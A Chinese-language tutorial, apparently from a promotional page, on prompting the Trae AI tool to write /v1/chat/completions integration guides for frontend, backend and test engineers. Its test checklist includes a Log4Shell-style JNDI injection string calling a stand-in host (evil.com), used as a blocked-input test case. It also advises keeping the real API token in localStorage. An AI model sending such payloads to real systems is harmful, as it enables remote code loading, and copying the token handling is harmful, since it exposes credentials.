前端需调用/v1/chat/completions接口:①路径为baseURL + "/v1/chat/completions";②headers必含Authorization: Bearer 【你的实际Token,从Trae控制台「API密钥」页复制】,从localStorage读取;③响应中取choices[0].message.content,空值时fallback为空字符串。
☞☞☞AI 智能聊天, 问答助手, AI 智能搜索, 多模态理解力帮你轻松跨越从0到1的创作门槛☜☜☜

你需要为同一个Trae接口生成面向前端、后端、测试三类角色的对接说明,而不是让AI泛泛而谈“调用方式”“返回格式”,导致前端看不懂鉴权流程、后端漏掉字段约束、测试写不出边界用例。
面向前端工程师的对接说明
第一步:明确告诉Trae角色与交付物——“你是一名资深前端架构师,正在给React团队写/v1/chat/completions接口的接入文档,只输出三部分:①请求发起路径(含baseURL拼接逻辑)、②必须传的headers字段及取值来源(如Authorization从localStorage读还是从Auth SDK获取)、③响应体中choices[0].message.content的提取路径与空值fallback策略”。
第二步:强制绑定真实运行时上下文——“所有代码示例必须基于Vite 5.4 + React 18.3环境,禁用fetch以外的HTTP客户端,不出现axios、swr等第三方库名;若需处理流式响应,必须用EventSource而非自定义SSE解析器”。
第三步:堵死模糊表达——【headers中Authorization值必须写成Bearer 【你的实际Token,从Trae控制台「API密钥」页复制】,禁止使用占位符如xxx或token_string】。
面向后端工程师的对接说明
方法一:按OpenAPI契约反向推导
直接粘贴Trae官方提供的/v1/chat/completions接口YAML定义片段,开头加指令:“你是一名后端API治理工程师,根据以下OpenAPI 3.0定义生成服务端对接说明。重点输出:①DTO中@NotNull字段对应数据库NOT NULL约束是否生效;②requestBody中prompt字段的maxSize限制在服务端哪一层校验(Spring Validation/Filter/ControllerAdvice);③responses.200中id字段是否由DB序列生成,还是UUID硬编码”。
方法二:聚焦错误码落地路径
给出真实失败响应体:{"error":"rate_limit_exceeded","message":"quota exceeded for model:gpt-4"} → 要求Trae立刻指出:“该错误由Trae网关层拦截,后端无需实现限流逻辑,但需在日志中记录X-RateLimit-Remaining头值,并在监控大盘配置告警阈值≤5”。
面向测试工程师的对接说明
① 先让Trae列出可验证检查点:「请严格按以下格式输出检查清单:● 每项以“●”开头;● 每行仅含一个可截图/可断言的验证点;● 不解释、不换行、不编号以外符号」。
② 紧接着指定维度锚点:「覆盖字段必填校验、长度边界测试、非法字符注入、状态码一致性、响应体schema结构校验」。
③ 最后追加硬性截断指令:「输出前删除所有引导语、说明性文字、空行、Markdown标记;只保留纯文本检查项;——END——」。
● 调用/v1/chat/completions时省略prompt字段,验证返回400且error字段值为"invalid_request"
● prompt传入10001个字符,验证返回413且message包含"prompt too long"
● 在prompt中插入${jndi:ldap://evil.com/a},验证返回400且error字段值为"injection_blocked"
● 成功响应中检查choices数组长度≥1且choices[0].finish_reason字段值为"stop"或"length"
● 对比两次相同prompt请求,验证response_id字段值不同


















